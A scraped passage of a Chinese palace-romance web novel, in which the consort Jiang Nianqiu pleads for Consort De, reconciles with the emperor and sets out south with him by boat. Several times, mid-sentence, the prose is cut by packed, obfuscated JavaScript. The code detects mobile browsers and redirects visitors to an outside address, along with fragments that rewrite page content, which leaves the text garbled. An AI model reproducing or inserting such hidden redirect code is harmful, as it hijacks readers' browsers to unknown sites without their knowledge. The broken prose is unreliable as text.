更何况是个“知错就改”的有钱有势的大帅哥。 什么不高兴全被姜念秋跑到了九霄云外了。 她重重点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821855|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只手还不忘握住季寰的手背,语重心长地说道:“这才对嘛,家大业大,也不能浪费丝毫!” 季寰再一次被逗笑。 他还是头一次见着劝说叫他不要浪费的女子。 虽是新奇,却也说得是有道理。 他看向姜念秋的眼神之中又多添了一层深意。 心结解开了,姜念秋在集市上玩儿的便更加上劲儿。 她一连买了好多小吃,那架势就跟要把街市上的东西全塞进肚子里一样。 可集市那么大,怎么能叫她轻易如愿。 姜念秋生怕马上就又要回到船上,双手合十求他:“三爷,我们能晚些再去下一个驿站吗,我想在这儿多呆会儿。” 此刻已经是逛了足足一白天的人了。 可她依旧不见丝毫疲态,倒是季寰,看完了百姓生活常态后,并不想多穿梭在人群之中。 太挤了。 甚至还有女子将身子故意往他这边挤,密卫们也不好直接把人推开,全靠着季寰躲避。 到后来,完全是密卫把季寰和姜念秋围成了一个圈儿。 此等尴尬的事儿,季寰更不愿同姜念秋说起。 只是…… 第112章 处置 第一百一十二章处置 这次后,连着两天,合宫上下都知道德妃日日被季寰宣去正清宫侍寝。 姜念秋也就不再提及跟季寰示好的事儿了。 她甚至回到了不想争宠的状态之中。 小翠生怕她真的和皇上就此断开,于是规劝:“主子,皇上从来都是疼您的,您慢慢地再去向皇上卖个好,解释一番此事可解的呀!” 明明是在意对方的两个人,因为她的顺嘴胡闹,就这么断开,实在不合算。 偏偏姜念秋的心里一样憋着一口气,直接否决了小翠的提议:“不去,我又没做错什么,干嘛去?” 前两次低三下四地去求和好,换来的是什么? 她也是有自尊心的人,不是破布娃娃! 经历过二十一世纪平等教育的姜念秋,是绝对不会低头的。 小翠急得直叹气,也没有半分法子。 到了第四日,德妃终于忍受不住这种折磨了。 因为季寰宣她到正清宫,名分上说的是侍寝,实际上根本就不是这么回事儿! 他只不过是让德妃宿在偏殿。 所做的一切就是为了气姜念秋而已。 她自那天看透了季寰的心思后,对他的心就死掉了。 德妃跪在御桌前:“皇上,臣妾有一事,想求皇上答允。” “讲。” 德妃狠狠地闭了闭眼睛。 多年情意,要她立马割舍,有多么难,只有她自己心里知道。 德妃给他磕了个头,声音很小:“既然皇上对臣妾无意,不如放了臣妾罢,也算全了这么多年的情分。” “臣妾对宜妃所做一切,悉听皇上处置!” 听完这些话,季寰这才将视线挪到了德妃身上。 这个女子是他一即位便跟在身边的。 虽说她对宜妃所做一切实在狠毒,可她对自己的心是真的。 不同于宜妃的没一句真话。 季寰要处理她的话,犹豫哽在了喉间。 最终,只不过是一句无足轻重的话:“朕放你走。” “臣妾……谢过皇上!” 得了这句圣旨,自此后,她便不再是德妃了。 转日一早,小翠为姜念秋带来了一个她认为是好消息的消息:“主子,德妃宫里传了消息,说德妃今早殁了。” 姜念秋抓着针的手没注意到,针尖直接刺在了另一只手指尖。 “皇上下旨的?” “是,罪状昭告天下,只一卷草席带出宫去,不许葬入妃陵。” 小翠对这个结局很是满意。 是德妃从中作梗,才叫主子和皇上产生了嫌隙。 她心不好,得这个结局是她罪有应得! 姜念秋脑子里竟然想起的是德妃做戏时给自己带来的好。 头一次,对自己“好”过的人竟然走上死路。 她一拍大腿:“诶呀,我又没吃那东西,他这般是干嘛呢!” 小翠拦住姜念秋。 以自己对主子的了解,她肯定是会给德妃求情,求一个身后好的对待的。 可德妃根本不值得对她好! “娘娘,您为了她求情,不值当啊!” 没准儿在这个节骨眼儿上和皇上求情,还会加重皇上对她的厌恶程度。 实在不合算! 姜念秋握住小翠的胳膊:“再怎么说也帮过我,算我积个阴德了。” 就这样,姜念秋不顾及两个宫女的劝说,非要去正清宫求情。 季寰不肯见她,她就学着以前看过的电视剧,在烈日当头的院子里跪下了。 **知道了她的来意,去和季寰禀报。 季寰大手一挥:“放肆,你让她走!” 什么体统,竟然敢过来威胁他! **领了圣旨,出去劝说:“宜妃娘娘,您这是何苦呢?德妃娘娘……可是下毒害您的人啊!” 这么做,皇上肯定会产生逆鳞的。 偏偏姜念秋的反骨出来了,她就是不肯起来,腰背挺得直直的:“可再怎么说也是未果,不该草席裹尸吧?” 就算是违拗了章帝的继后,那也是葬入了妃陵。 姜念秋也不知道自己是哪里来的劲头,就是不肯低头。 **见她脸色不好看,赶紧进去冒着危险跟季寰再次禀告:“皇上,奴才劝说了好久,宜妃娘娘偏是不听啊!” “她爱跪就叫她跪着!” 横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821849|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竖是她自己要跪着的,和他无关! 此时,在自己宫里收拾着东西的德妃听到了此事。 “娘娘,宜妃竟然为了您的丧仪,去正清宫长跪了。” 德妃傻了。 她苦笑一声:“算我看走眼了,若没有皇上,没准儿当真能与她好好做对姐妹。” 只可惜啊,她走错了路。 如今,已经没办法回头了。 既然如此,就算是她郑重其事地给姜念秋道个歉吧。 “走吧,我不去,她不会起来的。” 眼看着日头越来越辣,姜念秋又好几天没有好好休息,身子越来越撑不住。 晃悠了两下,直接向前一倒,趴在了地面上。 小翠慌了:“主子?!主子!您醒一醒啊!” 里头的季寰几乎是瞬间跑了出来,他狠狠掐了一把姜念秋的人中,确定不是哄骗他的手段时,季寰心头更加慌乱:“传太医!” 将人打横抱起来往宫室里跑的时候,姜念秋迷迷糊糊地睁开眼。 看清了眼前的人后,她笑了笑:“你终于肯见我了,别对我和德妃那么狠,可以吗?” “你若此刻不闭嘴,朕诛了你全族!” 嘴唇白的一丝血色都没有。 是真的难受了。 太医马不停蹄地赶往正清宫,在她穴道上施针,见人睁开眼道:“回皇上的话,宜妃娘娘是中了暑热,喝下这副汤药休息一天也就没事儿了。” 还没等季寰说什么,外头**来报:“皇上,德妃宫里来了人,想要见见宜妃娘娘。” “你不是说朕狠心么,叫那宫里的人亲自与你说说朕是如何狠心的。” 他说完,便转身往旁边一坐,没看姜念秋半眼。 跟刚才着急的模样判若两人。 穿着普通民女服饰的德妃走上前跪下:“民女参见皇上、参见宜妃娘娘。” 姜念秋眨眨眼,撑着力气起来:“皇上,这是……” 活的?! 意识到德妃没死,姜念秋赶紧叫人搀扶她:“德妃娘娘,你不该对我行这么大的礼!” “宜妃娘娘,这是你该受的,之前的事儿你就当我是痰迷了心窍吧,是我对不住你。” 第113章 解结 第一百一十三章解结 姜念秋直勾勾地看着在那儿站着的人,还企图掐自己一把,看看是不是产生了幻觉了。 察觉到她傻乎乎的动作,季寰“切”了一声,当真是倨傲至极。 嗯……应该不是幻觉。 人没死就好。 姜念秋摆摆手:“都过去了,不用放在心上的。” 反正也是伤害未遂。 再加上德妃给她的农务心得确实有用,姜念秋还是决定不再纠结于过去的错误。 只是她有些奇怪:“对了,那……宫中人尽说你身死,这是怎么一回事儿呢?” 难不成是见鬼了? 德妃将自己手中的兜帽展示给她看。 一路来,德妃一直带着,再由侍卫押解,便不会有人敢看半眼。 紧接着,德妃苦笑道:“妹妹,我心里明白,就算是我待在宫中一辈子,皇上心中也不会有我一席之地,总是无趣的,所以便央求皇上许我出宫,自此宫中就再无德妃这个人了。” 有的,只是自由自在的一个女子而已。 姜念秋没想到居然就是这样子。 就算是不得宠爱,那也得为了家里人留下呀。 万一家里人因此对她有所怨言,始终是麻烦事儿。 “娘娘,其实不用……” 德妃知道这丫头说话嘴上没个把门的。 算她离宫前还人情。 她直接打断了姜念秋还想和皇上对着干的想法:“我心意已决,多谢妹妹、哦,不,多谢宜妃娘娘开解。” 一个是高高在上的宜妃,另一个只是寻常官宦家的女儿了。 见德妃眼神坚定,姜念秋再不阻拦:“我明白了,那就祝愿姐姐在宫外能够平安喜乐!” 能做只宫外的蝴蝶,也挺好。 德妃对着皇帝跪下磕头,又给姜念秋磕头。 这在初相识时,可是姜念秋怎么也不敢想的。 德妃低低道:“民女拜别皇上、拜别宜妃娘娘。” 送走了德妃后,太医趁着空档,亲自端了一碗药过来。 他先是查看了宜妃的状态,又将药放在皇上跟前,禀报道:“皇上,这药是微臣亲自盯着熬的,定不会出任何差错。” 自打德妃走了,季寰甚至连一个眼神都没赏给姜念秋。 他头一偏,示意太医递给侍女。 姜念秋也是脑子一转,灵活得很,就是不肯听小翠的话喝药。 季寰被弄得心烦,直接起身走到床榻跟前。 他抢走小翠手中的瓷碗,碗边抵住她唇边:“喝药!” 动作虽说略显粗鲁,可并未伤及姜念秋,更是没有一滴药汁滴落。 姜念秋定定地直视着季寰,他眸间的冷漠差点儿把她冻得浑身僵住。 可既然他能够过来亲自喂药,那就说明是消了大半的气吧? 她双手捧着碗边儿,低着脑袋乖巧地喝完了碗中所有汤药。 小翠眼力见儿极好,赶紧把碗收走。 季寰转身便要走,被一只只有指尖是温热的手贴上掌心,继而握住。 那是他在她这里从未听过的语气。 “是臣妾错怪皇上了,求皇上轻点儿责罚吧。” 什么时候了,还敢和他讨价还价! 就该狠狠地晾着她,就是不见她才行! 可人都在正清宫了,他怎么也说不出叫她离开的话。 喉间滚动了好几次,终于开口:“你是该罚,但不是此事。” 闻言,姜念秋眼睛亮了亮。 谁说在季寰跟前病一场,只能贴上铁石心肠的冰冷? 这打开二人心结的机会不就来了吗? 她整只手全贴在他温暖的手里,微微施力,把人拽到了自己身旁。 季寰仍在气头上,不肯坐在她榻边,不过是在旁边居高临下地睥睨着她。 姜念秋在注意到季寰眼白上布着的血丝时,心中不忍充斥满腔,惹得她眼眶也红了起来。 她或许明白,这次,折磨的不仅仅是她一个人。 他又何尝不是受尽煎熬? 季寰对她,确实是上了心,才会被伤害至此。 身为帝王,能如此,是她的福气了。 想到这里,姜念秋的喉咙哽咽:“臣妾知道此事是任性妄为,不敢奢求皇上原谅,只求皇上能轻点儿气自己。” 说了半天,没半个字说到点儿上。 季寰不愿意在这儿浪费时间,又要离开。 但手怎么也挣脱不开一个小丫头。 到底是他不想,还是真的不能。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821850|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只有他自己清楚。 姜念秋抓住机会道:“皇上,您别走,能分臣妾些许时间,听臣妾一言吗?” 还是得编一编理由的。 毕竟善意的谎言能维系二人正常的关系。 那灵活的脑子再一次派上用场。 “臣妾不是不想与皇上生儿育女,只是臣妾还是害怕,过不了心里始终迈不过去那道坎儿。” 说着,姜念秋自然而然把委屈化作泪珠。 声泪俱下到和语境合二为一。 自打注意到她,姜念秋从未展露过这般脆弱的模样。 她哭得鼻尖泛红,印衬着白`皙的脸庞,宛如一只熟透的荔枝。 令人打心眼儿里怜爱。 季寰也不幸免。 他别扭地转过头去,不愿承认心中早已化作一汪水。 “你在怕什么?” 有什么可怕的。 既入了后宫,为皇室生儿育女乃是嫔妃职责所在。 她怎能这般怕? 姜念秋的身子抖了抖。 也是泪意太过汹涌,屡屡划破姜念秋的眼眶掉落:“臣妾乃是庶出,庶出的孩儿出声便如做了天大的错事般。” 不就是寻个不剩孩儿的理由么。 礼制上全是破绽,于她来讲轻而易举。 季寰愣了下,这才想起姜念秋是有一个姐姐的。 她乃是小妾所生。 见季寰神思微变,姜念秋再次开口: “于是,臣妾从小见惯了欺压,哪怕庶母拼尽全力也难护臣妾周全,臣妾没有庶母那般的本事,更实在不知该如何当一个母妃。” 这些倒不是编的。 是这具躯体原来的记忆。 此类记忆哼出不穷,几乎不需要姜念秋费什么劲儿就能窥见。 每每看了,她都得气一顿原主懦弱。 不过不妨碍同时同情一小会儿。 得亏是小妾忍气吞声,孩子才安然长大。 “所以……臣妾怕,怕臣妾教不好她,更怕她会离臣妾而去。” 一番话说下来。 于情于理、合情合理。 姜念秋抬起眼时,脸颊处挂着明显的泪痕。 季寰只消一眼看一眼,心头便不可抑制地震了震。 第114章 离宫 第一百一十四章离宫 姜念秋“乘胜追击”,拽着皇上的手往自己脸上贴:“若皇上还气,臣妾求您,不如打我骂我一顿吧,只是……别不理我。” 被冷落的滋味着实不好受。 倒不是别人待她态度不好,而是那种从心底产生的空落落的感觉吞噬人时产生的虚无和委屈,极其难熬。 看着这一幕,季寰缓缓叹口气,手掌贴住冰凉的脸颊,蹭掉了她满脸的泪痕。 终究,是他在这小女子面前一个劲儿地心软了。 他问出了一直纠结的话:“德妃所用蛊虫,你可碰过?” 听说那蛊虫药力非凡,真吃下去还得叫太医赶紧诊治。 不出姜念秋所料,他果真是听话听了一半,这才气成这样。 她赶紧摇摇头,为自己正名:“没有,臣妾发现蛋糕里有虫子,还以为是坏了,随手叫人连盘子都扔掉了。” 闻言,季寰眼底的一片阴霾散开不少。 连日来,他纠结于姜念秋“明知山有虎,偏向虎山行”的气劲儿之中。 这时被人亲自解惑,着实有些惊讶:“当真?” 他微微俯身,语气间难免有所激动。 姜念秋噗嗤一声笑了出来。 为何看着这般着急的季寰,她倒是心里暖洋洋的呢? 她举起三根手指,在季寰面前郑重其事地发誓:“臣妾不敢拿此事哄骗皇上,在此立誓,若在此事上哄骗皇上就……” 后面的誓言她没有机会说出口。 因为季寰的手指抵住了她的嘴唇。 他的眼神带着略微警告的用力,是不愿让她身陷誓言煎熬之中的细腻。 男子的腮帮子咬出几下明显的形状来。 最终是他做了极大的让步:“罢了……罢了!” 听见这两个字,姜念秋那颗悬在胸腔里的心脏,总算是掉回原处,稳稳当当地跳动着。 她唇边勾起弧度,一下子跪在床榻上往季寰身上扑去。 季寰怕人摔倒,几乎是瞬间向前,做了她的倚仗。 怀中熟悉的馨香在此出现,叫他暂且迷了心窍。 柔·软的手臂紧紧地缠着他脖颈,柔声细语落在他耳边:“臣妾就知道皇上会体谅臣妾的。” 他为了她,一次又一次地冲破了所谓牢笼界限。 自然不差这一回。 也更坚定了姜念秋对季寰的认知——他确实待她不同。 这份不同很是不一样,姜念秋需要珍视。 季寰环着她的腰再次叹息:“你不愿意朕也不能逼你。” 人有时就是会陷入这样那样的恐惧中。 想突破,便要耗费巨大的精力。 眼看她也没有这份勇气,不如先按下不提。 “既如此,一切先等身子养好再从长计议。” 说着,季寰把人重新安置在床榻上,伸手轻柔捏着她鼻尖晃了晃,显出独一无二的亲昵来。 就此,她头一次遭遇的冷待正式结束。 那种心掉进肚子里的感觉真的舒适,姜念秋不由得看向季寰,唇边笑容更大。 “臣妾多谢皇上!” 真是拿她毫无办法。 就这样,没如后宫某些人阴毒的想法——姜念秋这道菜,不光没在季寰这儿彻底凉了,甚至还重新被他热了“端上桌”。 秋日里,姜念秋已能在夜间于御书房内亲自伺候季寰批阅奏折了。 她将一杯羊奶换掉浓茶,递到了季寰手边。 她不愿意喝羊奶,不代表季寰能不喝。 强迫着为他身子好的事儿,姜念秋做起来总是极其顺手。 季寰的眉头哪怕是喝完了羊奶,也没抚平半分。 姜念秋便趁着安置前,在床榻上撑起脑袋问身边人道:“皇上眉宇间仍有些愁意,不妨和臣妾说说看,也算解解忧愁?” 季寰侧过头去看她,迎上怎么看怎么舒心的一抹笑容。 他便没法再在她跟前说假话。 心中愁绪和盘托出:“南边近来税赋散乱,朕派出查案的三个心腹,尽数身亡。” 南边向来富庶,若是那儿的赋税不够清明。 滋养着的便不是百姓,而是那些个心思肮脏、贪婪图财的官吏! 如此一来,朝廷跟着便会出现衰迹,总归不妥。 姜念秋瞬间明白了季寰心中所想。 她为他将被子掖好,轻声问:“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821851|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,皇上是想亲自去看看,对吗?” 闻言,季寰勾唇。 “你这妮子,猜得倒是够准。” 换做旁人猜忌这些,季寰断断不会允许。 放在她这儿,倒是有些心有灵犀的感觉。 姜念秋思衬片刻,很快就做出了决定:“如果皇上想去,臣妾愿意陪伴在皇上身边。” 他要是不在宫中,自己一个人在宫里也未必能熬得住。 不如跟出去,没准儿还能一路上看看风景,体会一番新的风土人情也说不定。 季寰顿住。 他直勾勾地看着姜念秋:“税赋其中水如此之深,恐有危险,你不怕?” 三个心腹有重兵护着都出了问题。 当地的指挥营只怕已经不干净了。 是因为察觉到这一点,季寰才会想亲自去。 毕竟带着亲兵,加以圣上威信,便能少些差错。 但并不代表完全安泰。 没想姜念秋很是坚定地摇摇头说:“皇上都不怕,臣妾有皇上相护,就更不怕了。” 她相信,季寰有在一切危险前全能护住她安危的能力。 就跟安抚季寰似的,姜念秋还伸出手来拍了拍他的胸膛。 跟哄小孩儿似的。 季寰无奈勾唇:“好,待朕安顿好所有,即日启程。” 像是突然想起什么,姜念秋翻身坐起来,有些担忧地问:“可皇上走了,朝中之事,交予谁呢?” 朝中大臣各个心怀鬼胎,皇上心腹又少了三个。 万一在他们出巡期间,国事有所耽搁,不就麻烦了? “朕的六弟,倒还算安稳可托付之人,便叫他与其余大臣一同监国。” 诶? 季寰还有个六弟呀? 恍恍惚惚记得中秋夜宴遥遥见过一眼。 貌似是如季寰所说,很是稳妥。 行了,反正国家大事由不得姜念秋一届女流之辈做主。 她再次躺下,甜甜钻入季寰温暖被窝:“臣妾但凭皇上做主!” 男子失笑,回身搂住她细软腰肢,声音有些闷闷的,却是在感慨:“你啊!” 馨香入怀,二人均是一夜柔眠。 第115章 闲云野鹤 第一百一十五章闲云野鹤 翌日一早,姜念秋就开始收拾自己的行李了。 去南方可是件大事儿,越早准备便能越想得周全。 这次出去,姜念秋依旧选择带小翠,而非秋雁。 她年纪尚小,若有危险,只会更加受尽折磨。 姜念秋还不忘和秋雁解释,再加上安抚一番:“秋雁,我不在的这些日子,劳你看好家里,回来给你带礼物!” 秋雁无奈笑了笑。 在别人眼里,秋雁是任打任骂的奴婢,到了自家主子这里,怎的就变成了事事都得叮嘱的小孩儿了? 她给姜念秋递来一杯温茶:“奴婢只愿皇上和主子平平安安的,别的别无所求。” 这晚,姜念秋不用季寰宣召,自己就去了正清宫寝殿内。 季寰得知她来了,便早些收拾完毕去看她。 刚进殿内,便瞧着她将许多平头百姓的常服在窗下的榻上摆得满满当当。 季寰光是看着都觉得好笑:“你这是又折腾什么呢,准备拆了朕的寝殿?” 姜念秋左右看看。 哪有那么夸张。 她指了一圈儿,给他解释:“臣妾要亲手给皇上准备出去的衣衫,这样才放心呀。” 那种感觉,很像和丈夫一起出去旅游,妻子准备穿搭。 不过唯一遗憾的就是季寰并非她一人所有。 嗯……事实上是如此就够了! 她这样说服自己。 最终,季寰的替换衣衫但凭姜念秋做主,依着她的性子来,君王没有半点儿发言的余地。 她美其名曰,皇上不知道平民如何装扮。 三日后,众妃在宫门被送别季寰和姜念秋。 乌泱泱的嫔妃跪了一地:“臣妾等恭送皇上,愿皇上一路安康。” 姜念秋感觉被好多双眼睛盯着,浑身不自在。 她强忍着不舒服,笑着在马车前指路:“三爷,请!” 像极了平日伺候人的小厮。 也不知道这些个动作她是从哪里学来的。 季寰失笑,连连伸出手指点她:“你呀!” 随后,他直接在众妃嫔面前,拉住了姜念秋的手。 他的手掌宽厚有力,直接削减了姜念秋大半的负担。 她长长地呼了口气,在季寰簇拥之下先行坐上马车。 站在远处的妃嫔不免有嘴上不依不饶的。 良妃便是其中之一。 她眼神尖酸,连带着说话也是极其刻薄:“瞧见了么,合宫就带这么一个嫔妃出去,这要是宜妃福气好点儿,没准儿能带回个皇子来。” 其余的妃子心中也大多有这种想法,只是碍于贵妃在场、加之位分并不十分高,只敢在肚子里把话转转而已。 只有良妃,不知天高地厚地宣之于口。 果然,引来了贵妃的侧目。 她哼了一声,走到良妃跟前,拨弄了良妃那步摇垂落下来的珍珠流苏。 “良妃这话酸溜溜的,不如你下去和皇上说,换了你去?” 贵妃向来不愿意听这些闲言碎语,听到了就不能装作没听见。 如今宫中贵妃独大,宜妃专宠。 谁人敢惹这两尊佛爷? 良妃瞬间改了话风,微微躬身俯首:“臣妾不过一句玩笑话,还请贵妃娘娘赎罪。” 是玩笑话? 贵妃觉着,可不大像。 贵妃直接在众人面前给了良妃一个白眼儿:“管好你的嘴巴,比别人赎罪几回都来得直接。” 说完,贵妃扭头就走,没给良妃丝毫面子。 先头是季寰在第二辆马车上,他需要先和一路守卫盯路线,姜念秋在后头的马车。 一个潜伏在御前带刀侍卫的密卫,唤作史奕,将一幅路线图展示在季寰面前。 “皇上尽可放心,一路上微臣布下大防,定然能保皇上和娘娘无虞。” 藏于各地的密卫尽数调出,要比当地指挥营派兵更为可靠。 毕竟那些派出去的心腹大臣便是前车之鉴。 走出京郊后,季寰就叫姜念秋从后面车上下来,到他这辆更大的马车坐着。 此次出去需要走水路,于是二人在一处港口下了马车。 由史奕上前与船家交涉。 “船家,这锭金子包你的船,你就不要载别人了。” 是艘足足有三层高的大船,看着比别家的更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821852|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净些。 船家一见这人手笔这么大,再看看后头那主子不凡的气质,且钱顶的上自己跑活儿十几趟,立马答应下来:“好嘞,诸位爷,您里边请。” 简单收拾了一番,季寰和姜念秋便上了船。 等到船离岸开到了视野开阔的地儿,姜念秋一个劲儿地往窗户外面看,季寰怎么劝都劝不住。 实在没法,就由着她去了。 见有鱼儿跳跃出水面,姜念秋突然手痒痒,冲着船家道:“船家,麻烦问您下,您这儿有鱼竿吗?” 船家连连说有,取了他这儿质量最好,最容易钓上鱼儿的鱼竿来。 姜念秋学着曾经见过的纪录片折腾着眼前鱼竿,还大言不惭地放话:“爷,您等着我大显身手,钓上来活鱼,我给您亲手炖鱼汤喝!” 季寰扶额,实是没料到她竟比去京郊农田那次还要激动。 “我倒是觉着,相较于宫中,你更喜宫外的日子。” 女子的脸被晒得红扑扑的:“是呀,其实我最向往的便是闲云野鹤,出宫自然合我心意。” “说是陪我出来,倒便宜了你。” 姜念秋闻言嘿嘿一笑:“谁叫三爷偏疼我呢?三爷觉得上当也没办法了,我都跟出来了!” 算了,好不容易出来一趟,叫她玩好儿,亦是办成件大事。 如此想着,季寰便随手从箱子里捡了本书看起来,没管她自己胡闹。 或许是鱼饵足够新鲜、也或许是船家鱼竿着实好用,更或许是新手保护期。 总之和技术无关,还真叫她钓上了鱼儿来。 “上钩了!上钩了!” 把鱼儿抓住,姜念秋嚷嚷着往厨房跑,非要全部自个儿包揽。 等了大半天不见人影,季寰起身去寻。 在厨房见着用凉帽挡着脸,手拿着个木棍胡乱敲砧板上的鱼,吓得鱼儿乱蹦。 季寰一把将人拉过来,有些瞠目结舌地问:“你……这是在干嘛?” “杀鱼啊,就是这鱼老是乱跑。” 姜念秋很是狼狈。 季寰无奈极了,笑也不是,瞪她还怕吓着她,最后只能把人蜡烛,冲着身后吩咐:“你们,去帮她一把。” 第116章 算秋游么 第一百一十六章算秋游么 由于二人帮不上忙,只能在外头站着。 走廊之上清风拂来,空气里带着淡淡的鱼腥气息,把季寰逼迫得皱起了眉头。 他哪里受过这样的委屈呢? 姜念秋想着说让他先离开,省的呛得他脸色不好。 要开口时,侍卫们从里头打开门,看来是已经解决掉了那只垂死挣扎的鱼儿。 为首的拱手恭敬道:“三爷,鱼已经杀好了,需要属下叫人烧吗?” 门一经打开,哪怕是很快合上,也是能透露出一股子浓重的腥味儿。 季寰眉间褶皱越发深了,就跟立刻要发火一般。 “不用不用,我自己来就成,”姜念秋赶紧按住季寰,恭恭敬敬地把人寝出去,“您就踏实坐着,瞧我的吧。” 反正季寰耶没打算在这儿长呆着,能忍受住身旁的姜念秋一身鱼腥气息,已经是他的极限了。 还好,在御膳房泡着的那段日子,御膳房总管教了她不少好吃的鱼肉做法。 这回也算是让她逮住了大显身手的机会了。 经过了整整一个时辰,姜念秋好歹做出了三菜一汤。 东西虽然不多,但他们两个人吃,绰绰有余。 既然是微服私访,就不能太过张扬,吃一桌子菜又不会长生不老。 她亲自端上所有的菜上桌:“菜来了!” 考虑到季寰会讨厌油烟味,姜念秋还是专门换了一身衣衫才来“伺候”他用饭的。 甚至专门将那道鱼放在了人家眼前。 姜念秋已经习惯了在宫中需要先站着为皇上布菜的习惯,还要起身,被季寰一把摁了下来。 这才意识到,是在外面,不能太多规矩,以免引起他人注意。 但她还是亲手用公筷加了一块儿鱼肉到季寰盘子里:“三爷,您尝尝看,看看味道如何?” 那条鱼身上泼洒了一点点从南省来的辣椒,正好逼走了鱼儿带着的土腥气,还能给鱼肉增加独特的香气。 光是闻着便是不错。 应当是很用心学过的手艺。 季寰看了一会儿,才将鱼肉送`入口中,果然是鲜亮。 比她上次给自己做的饭菜手艺还要好。 他点头称赞:“这鱼肉是鲜……” 平日里也没什么御厨到跟前要赏,所以季寰就忘记了鱼肉能这么好吃,全靠的是人在做。 姜念秋眼睛直勾勾地看着他,嘴巴微微嘟着,有些不满季寰的回答。 他被盯得有些莫名其妙,还是脑子一连转了好几个弯儿,才明白过来这是没有夸奖姜念秋。 小姑娘在闹呢。 季寰无奈,想了想,眼底就浮现出来笑意了:“自然,你炖鱼的手艺更好。” 这话一说出口,眼前人嘟着的嘴巴立刻变正常了。 人也很着喜笑颜开。 她见季寰吃完,殷勤地又给他添了一些。 整个人看起来眉飞色舞的,跟得了什么宝贝一般:“三爷爱吃,您就多吃点儿!” 以前她只是觉得自己能吃上好吃的就很满足,现在看来,能给季寰做一顿好吃的,一样满足! 甚至满足感更加强烈! 看着自己的碗被堆得高高的,季寰有些失神,仿佛回到了儿时。 那时候,他需要学规矩,但母后总是看他可怜的紧,于是在无人注意的日子里,总会这样让他吃得够饱。 因为想到这里,季寰没多说半句这并不合祖宗规矩的话。 只是默默埋头将碗中吃食尽数咽下。 吃过饭后,二人在厢房中的床榻上歇息。 船就算再稳,也会有一种晃晃悠悠的感觉,十分奇妙。 有时候晃得狠了,姜念秋会有些害怕。 她并未坐过轮渡,再者说,轮渡和这类木质船肯定是不一样的。 为着那一碗饭,季寰将人搂入怀中,轻柔地拍打着她的后背,如曾经母后安慰他同样。 就这样,二人在船上连着度过了两天时间。 姜念秋终于能够适应船上生活。 她见季寰出来不是写字画画就是看书,自己学着看了一段时间,实在闷得很,于是靠在他跟前,伸手捂住了季寰的书。 离开了皇宫后的季寰脾气好了不知多少,连眉头都没动。 甚至还伸手替她将掉落下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821853|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碎发绾在耳后:“无聊了?” 姜念秋眉毛倒八:“有点儿,您陪我说说话儿,好吗?” 季寰颔首,算是允准了。 不过是解闷儿,姜念秋谈天说地,几乎没说什么有营养的话题。 但矜贵的人儿居然全部都有耐心地回答了她,这叫姜念秋有些受宠若惊。 